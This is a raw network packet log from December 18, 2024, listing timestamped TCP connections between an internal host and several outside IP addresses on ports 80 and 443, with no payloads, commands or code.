Dec 18, 2024 19:08:32.123281956 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.123953104 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.124260902 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.124305010 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.124392033 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.124440908 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.125422955 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.125466108 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.125569105 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.125612020 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.126466990 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.126509905 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.126595974 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.126640081 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.127597094 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.127644062 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.127729893 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.127772093 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.128648043 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.128710985 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.128774881 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.128818989 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.129761934 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.129807949 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.129878044 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.129923105 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.130944967 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.130989075 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.131012917 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.131053925 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:32.131947994 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:32.131992102 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:33.337590933 CET	443	49727	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:33.337729931 CET	49727	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:33.339137077 CET	49727	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:33.339148045 CET	443	49727	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:33.340166092 CET	443	49727	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:33.343651056 CET	49727	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:33.343848944 CET	49727	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:33.343880892 CET	443	49727	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:34.321422100 CET	49725	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:34.321943045 CET	49728	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:34.441694021 CET	80	49725	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:34.441725016 CET	80	49728	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:34.441761017 CET	49725	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:34.441814899 CET	49728	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:34.442133904 CET	49728	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:34.474621058 CET	443	49727	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:34.474879026 CET	49727	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:34.474895954 CET	443	49727	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:34.474962950 CET	49727	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:34.496906996 CET	49729	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:34.497015953 CET	443	49729	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:34.497149944 CET	49729	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:34.497450113 CET	49729	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:34.497489929 CET	443	49729	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:34.562824011 CET	80	49728	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:35.721607924 CET	443	49729	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:35.721729040 CET	49729	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:35.780401945 CET	49729	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:35.780461073 CET	443	49729	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:35.780771017 CET	443	49729	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:35.800648928 CET	49729	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:35.800843954 CET	49729	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:35.800900936 CET	443	49729	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:35.800965071 CET	49729	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:35.815381050 CET	80	49728	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:35.815464973 CET	49728	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:35.820221901 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:35.820497990 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:35.847368956 CET	443	49729	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:35.959448099 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:35.959527016 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:35.959743977 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:35.959796906 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:35.960004091 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:36.081809044 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:36.163163900 CET	49731	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:36.163218975 CET	443	49731	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:36.163295984 CET	49731	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:36.167483091 CET	49731	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:36.167495012 CET	443	49731	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:36.555331945 CET	443	49729	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:36.555418015 CET	443	49729	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:36.555533886 CET	49729	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:36.555706978 CET	49729	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:36.555727959 CET	443	49729	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:36.685349941 CET	49732	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:36.685389996 CET	443	49732	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:36.685467958 CET	49732	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:36.686444044 CET	49732	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:36.686463118 CET	443	49732	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:37.291810036 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.291830063 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.291937113 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.291996956 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.292053938 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.292179108 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.292191982 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.292234898 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.292476892 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.292525053 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.292896986 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.292967081 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.293051004 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.293061972 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.293108940 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.293270111 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.293323040 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.385847092 CET	443	49731	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:37.385948896 CET	49731	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:37.389098883 CET	49731	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:37.389110088 CET	443	49731	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:37.389345884 CET	443	49731	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:37.411567926 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.411674976 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.411678076 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.411725044 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.415822029 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.415908098 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.415915966 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.415967941 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.437633038 CET	49731	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:37.437655926 CET	49731	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:37.437764883 CET	443	49731	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:37.484333992 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.484406948 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.484405994 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.484453917 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.488605976 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.488708973 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.488749981 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.488971949 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.497101068 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.497168064 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.500112057 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.500174046 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.500330925 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.500386000 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.508624077 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.508683920 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.508749962 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.508797884 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.517131090 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.517195940 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.517283916 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.517338991 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.525621891 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.525696993 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.525712013 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.525760889 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.534001112 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.534065008 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.534140110 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.534184933 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.542486906 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.542542934 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.542579889 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.542622089 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.551000118 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.551088095 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.551222086 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.551273108 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.559447050 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.559520006 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.559549093 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.559591055 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.566662073 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.566740036 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.566755056 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.566802979 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.573945045 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.574038029 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.676532030 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.676639080 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.676635027 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.676758051 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.678508043 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.678577900 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.679426908 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.679497004 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.679506063 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.679559946 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.684043884 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.684106112 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.684118032 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.684168100 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.688746929 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.688827038 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.688842058 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.688894987 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.693394899 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.693474054 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.693495035 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.693551064 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.697942972 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.698008060 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.698009968 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.698060036 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.702599049 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.702662945 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.702675104 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.702728987 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.707191944 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.707254887 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.707288980 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.707343102 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.711853981 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.711914062 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.711945057 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.711973906 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.716590881 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.716656923 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.716666937 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.716720104 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.721163988 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.721251011 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.721254110 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.721297979 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.725841999 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.725898027 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.725928068 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.725951910 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.730446100 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.730484962 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.730592966 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.735052109 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.735076904 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.735138893 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.735184908 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.739780903 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.739828110 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.739865065 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.739892006 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.744335890 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.744415045 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.744417906 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.744457960 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.749018908 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.749085903 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.749100924 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.749150038 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.753825903 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.753897905 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.753909111 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.753958941 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.758738995 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.758800983 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.758939981 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.762917042 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.762964964 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.762973070 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.763020992 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.767539978 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.767600060 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.767602921 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.767653942 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.772422075 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.772490025 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.893992901 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.894011974 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.894087076 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:37.898682117 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.898696899 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:37.898782015 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.018187046 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.018208027 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.018330097 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.022197008 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.022212982 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.022272110 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.139365911 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.139390945 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.139401913 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.139409065 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.139426947 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.139569044 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.139625072 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.139694929 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.139700890 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.139753103 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.140543938 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.140557051 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.140568018 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.140582085 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.140614986 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.140654087 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.141421080 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.141442060 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.141453981 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.141467094 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.141478062 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.141486883 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.141530037 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.142352104 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.142370939 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.142383099 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.142395020 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.142431974 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.142471075 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.142690897 CET	443	49732	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:38.142786980 CET	49732	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:38.143284082 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.143297911 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.143310070 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.143327951 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.143349886 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.143353939 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.143385887 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.143418074 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.144185066 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.144197941 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.144210100 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.144222021 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.144256115 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.144308090 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.144845009 CET	49732	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:38.144857883 CET	443	49732	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:38.145088911 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.145101070 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.145106077 CET	443	49732	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:38.145119905 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.145133018 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.145144939 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.145162106 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.145240068 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.146035910 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.146049023 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.146060944 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.146075010 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.146137953 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.146137953 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.146846056 CET	49732	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:38.146914959 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.146950960 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.146965981 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.146979094 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.146991014 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.147030115 CET	49732	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:38.147051096 CET	49730	80	192.168.2.5	31.41.244.11
